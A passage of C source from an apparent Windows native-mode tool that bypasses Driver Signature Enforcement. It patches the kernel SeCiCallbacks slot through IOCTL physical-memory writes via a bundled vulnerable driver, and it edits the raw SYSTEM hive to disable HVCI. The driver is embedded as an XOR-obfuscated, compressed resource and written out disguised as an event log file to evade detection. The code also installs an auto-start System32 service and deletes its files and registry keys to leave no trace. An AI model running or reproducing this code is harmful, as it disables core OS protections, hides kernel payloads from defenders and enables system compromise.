}

BOOLEAN LoadStateSection(ULONGLONG* outCallback) {
    PWSTR fileContent = NULL;
    BOOLEAN found = FALSE;

    if (!ReadIniFile(STATE_FILE_PATH, &fileContent)) {
        return FALSE;
    }

    PWSTR line = fileContent;
    BOOLEAN inDseSection = FALSE;

    if (line[0] == 0xFEFF) {
        line++;
    }

    while (*line) {
        PWSTR nextLine = line;
        while (*nextLine && *nextLine != L'\r' && *nextLine != L'\n')
            nextLine++;

        WCHAR lineBuf[MAX_PATH_LEN];
        ULONG i = 0;
        while (line < nextLine && i < (MAX_PATH_LEN - 1))
            lineBuf[i++] = *line++;
        lineBuf[i] = 0;

        line = nextLine;
        if (*line == L'\r')
            line++;
        if (*line == L'\n')
            line++;

        TrimString(lineBuf);

        if (lineBuf[0] == L'[') {
            inDseSection = (_wcsicmp_impl(lineBuf, L"[DSE_STATE]") == 0);
            continue;
        }

        if (inDseSection && lineBuf[0] != 0 && lineBuf[0] != L';') {
            PWSTR equals = lineBuf;
            while (*equals && *equals != L'=')
                equals++;

            if (*equals == L'=') {
                *equals = 0;
                PWSTR key = lineBuf, value = equals + 1;
                TrimString(key);
                TrimString(value);

                if (_wcsicmp_impl(key, L"OriginalCallback") == 0) {
                    if (StringToULONGLONG(value, outCallback)) {
                        DEBUG_LOG(L"INFO: Loaded DSE state from drivers.ini\r\n");
                        found = TRUE;
                        break;
                    }
                }
            }
        }
    }
    FreeIniFileBuffer(fileContent);
    return found;
}

BOOLEAN RemoveStateSection(void) {
    PWSTR iniContent = NULL;
    PWSTR newContent = NULL;
    BOOLEAN inDseSection = FALSE;
    BOOLEAN foundDseSection = FALSE;
    BOOLEAN skipLine = FALSE;
    SIZE_T newLen = 0;
    SIZE_T sourceLen;
    SIZE_T newCapacity;

    if (!ReadIniFile(STATE_FILE_PATH, &iniContent)) {
        return FALSE;
    }

    PWSTR line = iniContent;

    if (line[0] == 0xFEFF)
        line++;

    sourceLen = wcslen(line);
    newCapacity = (sourceLen * 2) + 2;
    if (!AllocateZeroedBuffer(newCapacity * sizeof(WCHAR), (PVOID*)&newContent)) {
        FreeIniFileBuffer(iniContent);
        return FALSE;
    }

    newContent[0] = 0;

    while (*line) {
        PWSTR lineStart = line;
        PWSTR lineEnd = line;

        while (*lineEnd && *lineEnd != L'\r' && *lineEnd != L'\n')
            lineEnd++;

        WCHAR lineBuf[MAX_PATH_LEN];
        ULONG i = 0;
        PWSTR ptr = lineStart;
        while (ptr < lineEnd && i < MAX_PATH_LEN - 1) {
            lineBuf[i++] = *ptr++;
        }
        lineBuf[i] = 0;

        line = lineEnd;
        if (*line == L'\r')
            line++;
        if (*line == L'\n')
            line++;

        WCHAR trimmedBuf[MAX_PATH_LEN];
        wcscpy_safe(trimmedBuf, MAX_PATH_LEN, lineBuf);
        TrimString(trimmedBuf);

        BOOLEAN isSeparator = FALSE;
        if (trimmedBuf[0] == L';' && wcslen(trimmedBuf) > 10) {
            isSeparator = TRUE;
            for (ULONG j = 1; trimmedBuf[j] != 0; j++) {
                if (trimmedBuf[j] != L'=' && trimmedBuf[j] != L' ') {
                    isSeparator = FALSE;
                    break;
                }
            }
        }

        if (trimmedBuf[0] == L'[') {
            if (_wcsicmp_impl(trimmedBuf, L"[DSE_STATE]") == 0) {
                inDseSection = TRUE;
                foundDseSection = TRUE;
                skipLine = TRUE;
            } else {
                inDseSection = FALSE;
                skipLine = FALSE;
            }
        }

        if (inDseSection || (isSeparator && (foundDseSection || skipLine))) {
            if (isSeparator && inDseSection) {
                inDseSection = FALSE;
            }
            continue;
        }

        // Safe concatenation with overflow check
        if (newLen > 0) {
            if (!wcscat_check(newContent, newCapacity, L"\r\n")) {
                FreeAllocatedBuffer(newContent);
                FreeIniFileBuffer(iniContent);
                return FALSE;
            }
            wcscat_safe(newContent, newCapacity, L"\r\n");
            newLen = wcslen(newContent);
        }

        if (!wcscat_check(newContent, newCapacity, lineBuf)) {
            FreeAllocatedBuffer(newContent);
            FreeIniFileBuffer(iniContent);
            return FALSE;
        }
        wcscat_safe(newContent, newCapacity, lineBuf);
        newLen = wcslen(newContent);
    }

    if (!foundDseSection) {
        FreeAllocatedBuffer(newContent);
        FreeIniFileBuffer(iniContent);
        return TRUE;
    }

    UNICODE_STRING usFilePath;
    OBJECT_ATTRIBUTES oa;
    IO_STATUS_BLOCK iosb;
    HANDLE hFile;
    NTSTATUS status;
    LARGE_INTEGER byteOffset;

    RtlInitUnicodeString(&usFilePath, STATE_FILE_PATH);
    InitializeObjectAttributes(&oa, &usFilePath, OBJ_CASE_INSENSITIVE, NULL, NULL);

    status = NtCreateFile(&hFile, FILE_WRITE_DATA | SYNCHRONIZE, &oa, &iosb,
                         NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OVERWRITE,
                         FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);

    if (!NT_SUCCESS(status)) {
        FreeAllocatedBuffer(newContent);
        FreeIniFileBuffer(iniContent);
        return FALSE;
    }

    WCHAR bom = 0xFEFF;
    byteOffset.QuadPart = 0;
    status = NtWriteFile(hFile, NULL, NULL, NULL, &iosb, &bom,
                        sizeof(WCHAR), &byteOffset, NULL);

    if (!NT_SUCCESS(status)) {
        NtClose(hFile);
        FreeAllocatedBuffer(newContent);
        FreeIniFileBuffer(iniContent);
        return FALSE;
    }

    byteOffset.QuadPart = sizeof(WCHAR);
    status = NtWriteFile(hFile, NULL, NULL, NULL, &iosb, newContent,
                        (ULONG)(wcslen(newContent) * sizeof(WCHAR)),
                        &byteOffset, NULL);

    NtClose(hFile);
    FreeAllocatedBuffer(newContent);
    FreeIniFileBuffer(iniContent);

    if (NT_SUCCESS(status)) {
        DEBUG_LOG(L"INFO: DSE state removed from drivers.ini\r\n");
        return TRUE;
    }

    return FALSE;
}

<<<FILE: kvc_smss/SecurityPatcher.h>>>
Created:  2026-05-01 21:01:16
Modified: 2026-04-10 21:59:37
Size:     2.08 KB
#ifndef SECURITY_PATCHER_H
#define SECURITY_PATCHER_H

#include "BootBypass.h"
#include "SystemUtils.h"
#include "DriverManager.h"
#include "SetupManager.h"

// ============================================================================
// IOCTL physical memory operations (via kvc.sys RTC_PACKET protocol)
// ============================================================================

// Write a 32-bit value at address using the given IOCTL code.
BOOLEAN WriteMemory32(HANDLE hDriver, ULONGLONG address, ULONG value, ULONG ioctl);
// Write a 64-bit value as two 32-bit IOCTL calls (low DWORD first, then high).
BOOLEAN WriteMemory64(HANDLE hDriver, ULONGLONG address, ULONGLONG value, ULONG ioctl);
// Read a 64-bit value as two 32-bit IOCTL calls; result in *value.
BOOLEAN ReadMemory64(HANDLE hDriver, ULONGLONG address, ULONGLONG* value, ULONG ioctl);

// Returns kernel virtual base of ntoskrnl.exe from SystemModuleInformation.
ULONGLONG GetNtoskrnlBase(void);

// Opens the named device object; returns NULL if unavailable.
HANDLE OpenDriverDevice(PCWSTR deviceName);

// ============================================================================
// DSE state persistence (drivers.ini [DSE_STATE] section)
// ============================================================================

// Appends [DSE_STATE]\nOriginalCallback=0x... to drivers.ini (UTF-16 LE).
BOOLEAN SaveStateSection(ULONGLONG callback);
// Parses drivers.ini for [DSE_STATE] OriginalCallback; fills *outCallback.
BOOLEAN LoadStateSection(ULONGLONG* outCallback);
// Rewrites drivers.ini without the [DSE_STATE] section.
BOOLEAN RemoveStateSection(void);

// ============================================================================
// Main DSE bypass
// ============================================================================

// 5-step sequence: ExtractkvcFromResource → load kvc.sys → patch
// SeCiCallbacks slot → load target driver → restore slot → unload/cleanup.
NTSTATUS ExecuteAutoPatchLoad(PINI_ENTRY entry, PCONFIG_SETTINGS config, PULONGLONG originalCallback);

#endif

<<<FILE: kvc_smss/SetupManager.c>>>
Created:  2026-05-04 01:29:25
Modified: 2026-05-04 01:29:25
Size:     40.45 KB
// ============================================================================
// SetupManager — resource extraction, HVCI hive patching, cleanup (BB variant)
//
// DRIVER DEPLOYMENT (BB-specific):
//   kvc.sys is NOT distributed as a separate file — it is embedded directly
//   in the kvc_smss.exe PE binary as resource IDR_DRV1 (type 10, id 101).
//
//   Payload encoding pipeline (build time):
//     raw kvc.sys → LZNT1 compress → XOR with XOR_KEY (7-byte rotating key)
//     → stored as PE RCDATA resource
//
//   Extraction pipeline (runtime, in ExtractkvcFromResource):
//     FindResourceData(IDR_DRV1) → XOR decrypt → RtlDecompressBuffer(LZNT1)
//     → NtCreateFile to kvc_Log (Sam.evtx) → LoadDriver → Cleanupkvc
//
//   The .evtx extension disguises the driver binary as a Windows event log
//   in the WinEvt\Logs directory to avoid trivial file-system detection.
//
// HVCI PATCH STRATEGY (same as kvc_smss variant):
//   Opens the live SYSTEM hive file as raw binary and rewrites the
//   HypervisorEnforcedCodeIntegrity\Enabled VK cell inline.  Safe at SMSS
//   phase because the hive is not yet mapped read-only.  Change takes effect
//   only after a reboot.  See PatchSystemHiveHVCI for NK/VK walk details.
// ============================================================================

#include "SetupManager.h"
#include "DriverManager.h"

extern PWSTR MmGetPoolDiagnosticString(void);

// Resource IDs for embedded payloads (RCDATA, type 10).
#define IDR_DRV1                 101   // kvc.sys kernel driver
#define IDR_DRV2                 102   // HvciShutdownSvc.exe HVCI Shutdown Service
// Exact size of the XOR+LZNT1-compressed payload stored in the resource section.
#define kvc_SIZE              9139
// Exact size of kvc.sys after LZNT1 decompression — used to validate integrity.
#define kvc_UNCOMPRESSED_SIZE 14024
// Compressed size of HvciShutdownSvc.exe (XOR+LZNT1) — deterministic, rebuild if binary changes.
#define HvciShutdownSvc_SIZE              1759
// Uncompressed size of HvciShutdownSvc.exe — used to validate decompression integrity.
#define HvciShutdownSvc_UNCOMPRESSED_SIZE 4096

// 1 MB chunk size is optimal for Native I/O operations.
#define SCAN_CHUNK_SIZE (1024 * 1024)
// Safety margin keeps the full NK header available when a match lands near a chunk edge.
#define OVERLAP_SIZE    (256)
// All hive offsets are relative to the 0x1000-byte base header.
#define HIVE_BIN_BASE   (0x1000ULL)
#define HIVE_MAX_VALUES (256)
#define HIVE_NK_NAME_OFFSET          (0x4C)    // byte offset of KeyName within an NK cell
#define HIVE_NK_VALUES_COUNT_DELTA   (40)       // bytes before KeyName → ValuesCount
#define HIVE_NK_VALUES_LIST_DELTA    (36)       // bytes before KeyName → ValuesListOffset
// Inline REG_DWORD: high bit of DataLength set + DataLength == 4.
#define HIVE_VK_INLINE_DWORD         (0x80000000UL | sizeof(ULONG))
#define HIVE_VK_FIXED_SIZE           (24)       // fixed header size of a VK cell

// 7-byte rotating XOR key applied to the compressed payload.
// Key is chosen to avoid null bytes in the encrypted stream (PE resource section
// cannot store embedded NULs in some linker toolchains).
static const UCHAR XOR_KEY[] = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C };
static const SIZE_T XOR_KEY_LEN = sizeof(XOR_KEY);

// ============================================================================
// RESOURCE EXTRACTION
// ============================================================================

// Locates the PE resource data entry for resourceId (type 10 / RCDATA).
// Walks the in-memory resource directory starting from the process image base,
// which is read from the PEB (GS:[0x60]+0x10 on x64).
// Returns a pointer into the mapped PE image (read-only) and sets *outSize.
// Returns NULL if the resource section is absent or the ID is not found.
PVOID FindResourceData(ULONG resourceId, PULONG outSize) {
    PVOID imageBase = NULL;

    #ifdef _M_X64
        imageBase = (PVOID)*(ULONGLONG*)((UCHAR*)__readgsqword(0x60) + 0x10);
    #else
        imageBase = (PVOID)*(ULONG*)((UCHAR*)__readfsdword(0x30) + 0x08);
    #endif

    if (!imageBase) {
        DEBUG_LOG(L"DEBUG: Cannot get image base\r\n");
        return NULL;
    }

    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)imageBase;
    if (dosHeader->e_magic != 0x5A4D) {
        DEBUG_LOG(L"DEBUG: Invalid DOS header\r\n");
        return NULL;
    }

    PIMAGE_NT_HEADERS64 ntHeaders = (PIMAGE_NT_HEADERS64)((UCHAR*)imageBase + dosHeader->e_lfanew);
    if (ntHeaders->Signature != 0x4550) {
        DEBUG_LOG(L"DEBUG: Invalid PE signature\r\n");
        return NULL;
    }

    PIMAGE_DATA_DIRECTORY resourceDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE];
    if (resourceDir->Size == 0) {
        DEBUG_LOG(L"DEBUG: No resource directory\r\n");
        return NULL;
    }

    PIMAGE_RESOURCE_DIRECTORY resRoot = (PIMAGE_RESOURCE_DIRECTORY)((UCHAR*)imageBase + resourceDir->VirtualAddress);
    PIMAGE_RESOURCE_DIRECTORY_ENTRY resEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(resRoot + 1);

    for (ULONG i = 0; i < (ULONG)(resRoot->NumberOfNamedEntries + resRoot->NumberOfIdEntries); i++) {
        if (!resEntry[i].NameIsString && resEntry[i].Id == 10) {
            PIMAGE_RESOURCE_DIRECTORY typeDir = (PIMAGE_RESOURCE_DIRECTORY)((UCHAR*)resRoot + (resEntry[i].OffsetToDirectory & 0x7FFFFFFF));
            PIMAGE_RESOURCE_DIRECTORY_ENTRY typeEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(typeDir + 1);

            for (ULONG j = 0; j < (ULONG)(typeDir->NumberOfNamedEntries + typeDir->NumberOfIdEntries); j++) {
                if (!typeEntry[j].NameIsString && typeEntry[j].Id == resourceId) {
                    PIMAGE_RESOURCE_DIRECTORY nameDir = (PIMAGE_RESOURCE_DIRECTORY)((UCHAR*)resRoot + (typeEntry[j].OffsetToDirectory & 0x7FFFFFFF));
                    PIMAGE_RESOURCE_DIRECTORY_ENTRY nameEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(nameDir + 1);

                    if (nameDir->NumberOfIdEntries > 0) {
                        PIMAGE_RESOURCE_DATA_ENTRY dataEntry = (PIMAGE_RESOURCE_DATA_ENTRY)((UCHAR*)resRoot + nameEntry[0].OffsetToData);
                        *outSize = dataEntry->Size;
                        return (PVOID)((UCHAR*)imageBase + dataEntry->OffsetToData);
                    }
                }
            }
        }
    }

    return NULL;
}

// Extracts kvc.sys from the embedded PE resource, writes it to kvc_Log, and
// returns TRUE when the file is ready for LoadDriver.
//
// Idempotency: if the driver is already loaded from a previous call, the
// function unloads it, removes the registry key, and deletes the old file
// before extracting a fresh copy.  This handles re-entry after a partial run.
//
// Failure paths: returns FALSE and leaves kvc_Log absent if resource is
// missing, size mismatches, decompression fails, or file write fails.
BOOLEAN ExtractkvcFromResource(void) {
    PWSTR driverName = MmGetPoolDiagnosticString();

    // Cleanup any leftover state from previous run
    if (IsDriverLoaded(driverName)) {
        DEBUG_LOG(L"INFO: kvc already loaded, unloading...\r\n");

        WCHAR fullServicePath[MAX_PATH_LEN];
        UNICODE_STRING usServiceName;

        SIZE_T baseLen = wcscpy_safe(fullServicePath, MAX_PATH_LEN,
                                      L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
        if (baseLen < MAX_PATH_LEN - 1) {
            if (wcscat_safe(fullServicePath, MAX_PATH_LEN, driverName) < MAX_PATH_LEN) {
                RtlInitUnicodeString(&usServiceName, fullServicePath);
                NtUnloadDriver(&usServiceName);
            }
        }

        // Delete leftover registry key
        OBJECT_ATTRIBUTES oaKey;
        HANDLE hKey;
        UNICODE_STRING usKeyPath;
        wcscpy_safe(fullServicePath, MAX_PATH_LEN,
                    L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
        wcscat_safe(fullServicePath, MAX_PATH_LEN, driverName);
        RtlInitUnicodeString(&usKeyPath, fullServicePath);
        InitializeObjectAttributes(&oaKey, &usKeyPath, OBJ_CASE_INSENSITIVE, NULL, NULL);
        if (NT_SUCCESS(NtOpenKey(&hKey, DELETE, &oaKey))) {
            NtDeleteKey(hKey);
            NtClose(hKey);
        }

        // Delete leftover file
        UNICODE_STRING usFilePath;
        OBJECT_ATTRIBUTES oaFile;
        IO_STATUS_BLOCK iosb;
        HANDLE hFile;
        FILE_DISPOSITION_INFORMATION dispInfo;
        RtlInitUnicodeString(&usFilePath, kvc_Log);
        InitializeObjectAttributes(&oaFile, &usFilePath, OBJ_CASE_INSENSITIVE, NULL, NULL);
        if (NT_SUCCESS(NtOpenFile(&hFile, DELETE | SYNCHRONIZE, &oaFile, &iosb,
                                  FILE_SHARE_DELETE, FILE_SYNCHRONOUS_IO_NONALERT))) {
            dispInfo.DeleteFile = TRUE;
            NtSetInformationFile(hFile, &iosb, &dispInfo, sizeof(dispInfo), 13);
            NtClose(hFile);
        }

        DEBUG_LOG(L"INFO: Previous kvc state cleaned\r\n");
    }

    ULONG resourceSize = 0;
    PVOID resourceData = FindResourceData(IDR_DRV1, &resourceSize);

    if (!resourceData || resourceSize != kvc_SIZE) {
        DisplayMessage(L"FAILED: Cannot find non-compliant driver resource\r\n");
        return FALSE;
    }

    DEBUG_LOG(L"INFO: Extracting non-compliant driver from resource...\r\n");

    UCHAR xorBuf[kvc_SIZE];
    UCHAR decompBuf[kvc_UNCOMPRESSED_SIZE];
    ULONG finalSize = 0;
    NTSTATUS status;

    // XOR decrypt
    UCHAR* srcData = (UCHAR*)resourceData;
    for (SIZE_T i = 0; i < kvc_SIZE; i++) {
        xorBuf[i] = srcData[i] ^ XOR_KEY[i % XOR_KEY_LEN];
    }

    // LZNT1 decompress
    status = RtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1,
                                 decompBuf, kvc_UNCOMPRESSED_SIZE,
                                 xorBuf, kvc_SIZE,
                                 &finalSize);

    if (!NT_SUCCESS(status) || finalSize != kvc_UNCOMPRESSED_SIZE) {
        DisplayMessage(L"FAILED: Cannot decompress driver resource");
        DisplayStatus(status);
        return FALSE;
    }

    UNICODE_STRING usFilePath;
    OBJECT_ATTRIBUTES oa;
    IO_STATUS_BLOCK iosb;
    HANDLE hFile;
    LARGE_INTEGER byteOffset;

    RtlInitUnicodeString(&usFilePath, kvc_Log);
    InitializeObjectAttributes(&oa, &usFilePath, OBJ_CASE_INSENSITIVE, NULL, NULL);

    status = NtCreateFile(&hFile, FILE_WRITE_DATA | SYNCHRONIZE, &oa, &iosb,
                         NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OVERWRITE_IF,
                         FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);

    if (!NT_SUCCESS(status)) {
        DisplayMessage(L"FAILED: Cannot create temporary driver file");
        DisplayStatus(status);
        return FALSE;
    }

    byteOffset.QuadPart = 0;
    status = NtWriteFile(hFile, NULL, NULL, NULL, &iosb, decompBuf,
                        kvc_UNCOMPRESSED_SIZE, &byteOffset, NULL);

    NtClose(hFile);

    if (!NT_SUCCESS(status)) {
        DisplayMessage(L"FAILED: Cannot write driver file");
        DisplayStatus(status);
        return FALSE;
    }

    DEBUG_LOG(L"SUCCESS: Non-compliant driver extracted to system.evtx\r\n");
    return TRUE;
}

// ============================================================================
// HvciShutdownSvc SERVICE DEPLOYMENT
// Extracts HvciShutdownSvc.exe from resource IDR_DRV2 and registers HVCIShutdownSvc so
// that the SCM starts it automatically on next and every subsequent boot.
//
// Deployment pipeline (build time):
//   raw HvciShutdownSvc.exe -> LZNT1 compress -> XOR with XOR_KEY -> IDR_DRV2 resource
//
// Extraction pipeline (runtime, here):
//   FindResourceData(IDR_DRV2) -> XOR decrypt -> RtlDecompressBuffer(LZNT1)
//   -> NtCreateFile to \SystemRoot\System32\HvciShutdownSvc.exe
//   -> NtCreateKey  \Registry\Machine\...\Services\HVCIShutdownSvc
//
// The function is idempotent: the file is opened with FILE_OVERWRITE_IF and
// the service key creation is non-fatal on STATUS_OBJECT_NAME_COLLISION.
// ============================================================================

// Destination path for the extracted service binary.
#define HvciShutdownSvc_DestPath  L"\\SystemRoot\\System32\\HvciShutdownSvc.exe"
// ImagePath value stored in the service key (REG_EXPAND_SZ, SCM-expanded).
#define HvciShutdownSvc_ImagePath L"%SystemRoot%\\System32\\HvciShutdownSvc.exe"
// Human-readable name stored in the service key.
#define HvciShutdownSvc_DisplayName L"HVCI Shutdown Service"
// SCM service name (must match the name compiled into HvciShutdownSvc.exe).
#define HvciShutdownSvc_ServiceName L"HVCIShutdownSvc"

BOOLEAN ExtractHvciShutdownSvcAndRegisterService(void) {
    ULONG resourceSize = 0;
    PVOID resourceData = FindResourceData(IDR_DRV2, &resourceSize);

    if (!resourceData || resourceSize != HvciShutdownSvc_SIZE) {
        DisplayMessage(L"FAILED: Cannot find HvciShutdownSvc.exe resource (IDR_DRV2)\r\n");
        return FALSE;
    }

    DEBUG_LOG(L"INFO: Extracting HvciShutdownSvc.exe from resource IDR_DRV2...\r\n");

    UCHAR xorBuf[HvciShutdownSvc_SIZE];
    UCHAR decompBuf[HvciShutdownSvc_UNCOMPRESSED_SIZE];
    ULONG finalSize = 0;
    NTSTATUS status;

    // XOR decrypt (same key as IDR_DRV1)
    UCHAR* srcData = (UCHAR*)resourceData;
    for (SIZE_T i = 0; i < HvciShutdownSvc_SIZE; i++) {
        xorBuf[i] = srcData[i] ^ XOR_KEY[i % XOR_KEY_LEN];
    }

    // LZNT1 decompress
    status = RtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1,
                                 decompBuf, HvciShutdownSvc_UNCOMPRESSED_SIZE,
                                 xorBuf, HvciShutdownSvc_SIZE,
                                 &finalSize);

    if (!NT_SUCCESS(status) || finalSize != HvciShutdownSvc_UNCOMPRESSED_SIZE) {
        DisplayMessage(L"FAILED: Cannot decompress HvciShutdownSvc.exe resource");
        DisplayStatus(status);
        return FALSE;
    }

    // Write HvciShutdownSvc.exe to System32
    UNICODE_STRING usFilePath;
    OBJECT_ATTRIBUTES oa;
    IO_STATUS_BLOCK iosb;
    HANDLE hFile;
    LARGE_INTEGER byteOffset;

    RtlInitUnicodeString(&usFilePath, HvciShutdownSvc_DestPath);
    InitializeObjectAttributes(&oa, &usFilePath, OBJ_CASE_INSENSITIVE, NULL, NULL);

    status = NtCreateFile(&hFile, FILE_WRITE_DATA | SYNCHRONIZE, &oa, &iosb,
                         NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OVERWRITE_IF,
                         FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);

    if (!NT_SUCCESS(status)) {
        DisplayMessage(L"FAILED: Cannot create System32\\HvciShutdownSvc.exe");
        DisplayStatus(status);
        return FALSE;
    }

    byteOffset.QuadPart = 0;
    status = NtWriteFile(hFile, NULL, NULL, NULL, &iosb, decompBuf,
                        HvciShutdownSvc_UNCOMPRESSED_SIZE, &byteOffset, NULL);
    NtClose(hFile);

    if (!NT_SUCCESS(status)) {
        DisplayMessage(L"FAILED: Cannot write System32\\HvciShutdownSvc.exe");
        DisplayStatus(status);
        return FALSE;
    }

    DEBUG_LOG(L"SUCCESS: HvciShutdownSvc.exe extracted to System32\r\n");

    // Create SCM service registry key for HVCIShutdownSvc
    // Type  = 0x10  SERVICE_WIN32_OWN_PROCESS
    // Start = 0x02  SERVICE_AUTO_START
    // ErrorControl = 0x01  SERVICE_ERROR_NORMAL
    WCHAR svcKeyPath[MAX_PATH_LEN];
    UNICODE_STRING usKeyPath, usValueName;
    OBJECT_ATTRIBUTES oaKey;
    HANDLE hKey = NULL;
    ULONG disposition;
    DWORD dwValue;
    ULONG dataSize;

    if (wcscpy_safe(svcKeyPath, MAX_PATH_LEN,
                    L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\")
        >= MAX_PATH_LEN - 1) {
        DisplayMessage(L"WARNING: HvciShutdownSvc service key path too long\r\n");
        return TRUE;  // file was written successfully; key failure is non-fatal
    }
    if (wcscat_safe(svcKeyPath, MAX_PATH_LEN, HvciShutdownSvc_ServiceName) >= MAX_PATH_LEN) {
        DisplayMessage(L"WARNING: HvciShutdownSvc service key path truncated\r\n");
        return TRUE;
    }

    RtlInitUnicodeString(&usKeyPath, svcKeyPath);
    InitializeObjectAttributes(&oaKey, &usKeyPath, OBJ_CASE_INSENSITIVE, NULL, NULL);

    status = NtCreateKey(&hKey, KEY_ALL_ACCESS, &oaKey, 0, NULL,
                         REG_OPTION_NON_VOLATILE, &disposition);

    if (!NT_SUCCESS(status)) {
        // Non-fatal: if the key already exists and NtCreateKey returned an error
        // other than COLLISION (which should not happen), just log and continue.
        DisplayMessage(L"WARNING: Cannot create HVCIShutdownSvc key");
        DisplayStatus(status);
        return TRUE;
    }

    // ImagePath — REG_EXPAND_SZ — SCM expands %SystemRoot% at start time
    RtlInitUnicodeString(&usValueName, L"ImagePath");
    dataSize = (ULONG)((wcslen(HvciShutdownSvc_ImagePath) + 1) * sizeof(WCHAR));
    NtSetValueKey(hKey, &usValueName, 0, REG_EXPAND_SZ, (PVOID)HvciShutdownSvc_ImagePath, dataSize);
	
	// DisplayName — REG_SZ
    RtlInitUnicodeString(&usValueName, L"DisplayName");
    dataSize = (ULONG)((wcslen(HvciShutdownSvc_DisplayName) + 1) * sizeof(WCHAR));
    NtSetValueKey(hKey, &usValueName, 0, REG_SZ, (PVOID)HvciShutdownSvc_DisplayName, dataSize);

    // ObjectName — REG_SZ
    RtlInitUnicodeString(&usValueName, L"ObjectName");
    dataSize = (ULONG)((wcslen(L"LocalSystem") + 1) * sizeof(WCHAR));
    NtSetValueKey(hKey, &usValueName, 0, REG_SZ, (PVOID)L"LocalSystem", dataSize);

	// Type — REG_DWORD — 0x10 = SERVICE_WIN32_OWN_PROCESS
    RtlInitUnicodeString(&usValueName, L"Type");
    dwValue = 0x10;
    NtSetValueKey(hKey, &usValueName, 0, REG_DWORD, &dwValue, sizeof(DWORD));
    // Start — REG_DWORD — 0x02 = SERVICE_AUTO_START
    RtlInitUnicodeString(&usValueName, L"Start");
    dwValue = 0x02;
    NtSetValueKey(hKey, &usValueName, 0, REG_DWORD, &dwValue, sizeof(DWORD));
	
    // ErrorControl — REG_DWORD — 0x01 = SERVICE_ERROR_NORMAL
    RtlInitUnicodeString(&usValueName, L"ErrorControl");
    dwValue = 0x01;
    NtSetValueKey(hKey, &usValueName, 0, REG_DWORD, &dwValue, sizeof(DWORD));

    NtClose(hKey);

    DEBUG_LOG(L"SUCCESS: HVCIShutdownSvc service key ready\r\n");

    return TRUE;
}

// ============================================================================
// HVCI SHUTDOWN SVC CLEANUP
// Removes HvciShutdownSvc.exe from System32 and the HVCIShutdownSvc service
// registry key.  Called when RestoreHVCI=NO to undo any previous deployment.
// Idempotent: missing file or key is not an error.
// ============================================================================

void CleanupHvciShutdownSvc(void) {
    UNICODE_STRING usPath;
    OBJECT_ATTRIBUTES oa;
    IO_STATUS_BLOCK iosb;
    HANDLE h;
    FILE_DISPOSITION_INFORMATION disp;
    NTSTATUS status;
    WCHAR svcKeyPath[MAX_PATH_LEN];
    UNICODE_STRING usKeyPath;
    OBJECT_ATTRIBUTES oaKey;

    // Delete HvciShutdownSvc.exe from System32
    RtlInitUnicodeString(&usPath, HvciShutdownSvc_DestPath);
    InitializeObjectAttributes(&oa, &usPath, OBJ_CASE_INSENSITIVE, NULL, NULL);
    status = NtOpenFile(&h, DELETE | SYNCHRONIZE, &oa, &iosb,
                        FILE_SHARE_DELETE, FILE_SYNCHRONOUS_IO_NONALERT);
    if (NT_SUCCESS(status)) {
        disp.DeleteFile = TRUE;
        NtSetInformationFile(h, &iosb, &disp, sizeof(disp), 13);
        NtClose(h);
        DEBUG_LOG(L"INFO: HvciShutdownSvc.exe removed (RestoreHVCI=NO)\r\n");
    }

    // Delete HVCIShutdownSvc service registry key
    if (wcscpy_safe(svcKeyPath, MAX_PATH_LEN,
                    L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\")
        < MAX_PATH_LEN - 1) {
        wcscat_safe(svcKeyPath, MAX_PATH_LEN, HvciShutdownSvc_ServiceName);
        RtlInitUnicodeString(&usKeyPath, svcKeyPath);
        InitializeObjectAttributes(&oaKey, &usKeyPath, OBJ_CASE_INSENSITIVE, NULL, NULL);
        status = NtOpenKey(&h, DELETE, &oaKey);
        if (NT_SUCCESS(status)) {
            NtDeleteKey(h);
            NtClose(h);
            DEBUG_LOG(L"INFO: HVCIShutdownSvc service key removed (RestoreHVCI=NO)\r\n");
        }
    }
}

// ============================================================================
// POST-LOAD CLEANUP
// Removes both the temporary driver file (kvc_Log / Sam.evtx) AND the SCM
// registry key created by LoadDriver.  Both must be deleted to leave no trace.
// Idempotent: missing file or key is not treated as an error.
// ============================================================================

// Deletes kvc_Log and HKLM\...\Services\<obfuscated-name>.
// Called by ExecuteAutoPatchLoad after the driver is unloaded (step 5).
NTSTATUS Cleanupkvc(void) {
    UNICODE_STRING usFilePath;
    UNICODE_STRING usServiceName;
    OBJECT_ATTRIBUTES oa;
    IO_STATUS_BLOCK iosb;
    HANDLE hFile;
    HANDLE hKey;
    FILE_DISPOSITION_INFORMATION dispInfo;
    NTSTATUS status;
    WCHAR fullServicePath[MAX_PATH_LEN];
    PWSTR driverName = MmGetPoolDiagnosticString();

    RtlInitUnicodeString(&usFilePath, kvc_Log);
    InitializeObjectAttributes(&oa, &usFilePath, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);

    status = NtOpenFile(&hFile, DELETE | SYNCHRONIZE, &oa, &iosb,
                       FILE_SHARE_DELETE, FILE_SYNCHRONOUS_IO_NONALERT);

    if (NT_SUCCESS(status)) {
        dispInfo.DeleteFile = TRUE;
        NtSetInformationFile(hFile, &iosb, &dispInfo, sizeof(dispInfo), 13);
        NtClose(hFile);
        DEBUG_LOG(L"INFO: Temporary driver file deleted\r\n");
    }

    SIZE_T baseLen = wcscpy_safe(fullServicePath, MAX_PATH_LEN,
                                  L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
    if (baseLen >= MAX_PATH_LEN - 1) {
        DEBUG_LOG(L"WARNING: Service path too long for cleanup\r\n");
        return STATUS_OBJECT_NAME_INVALID;
    }

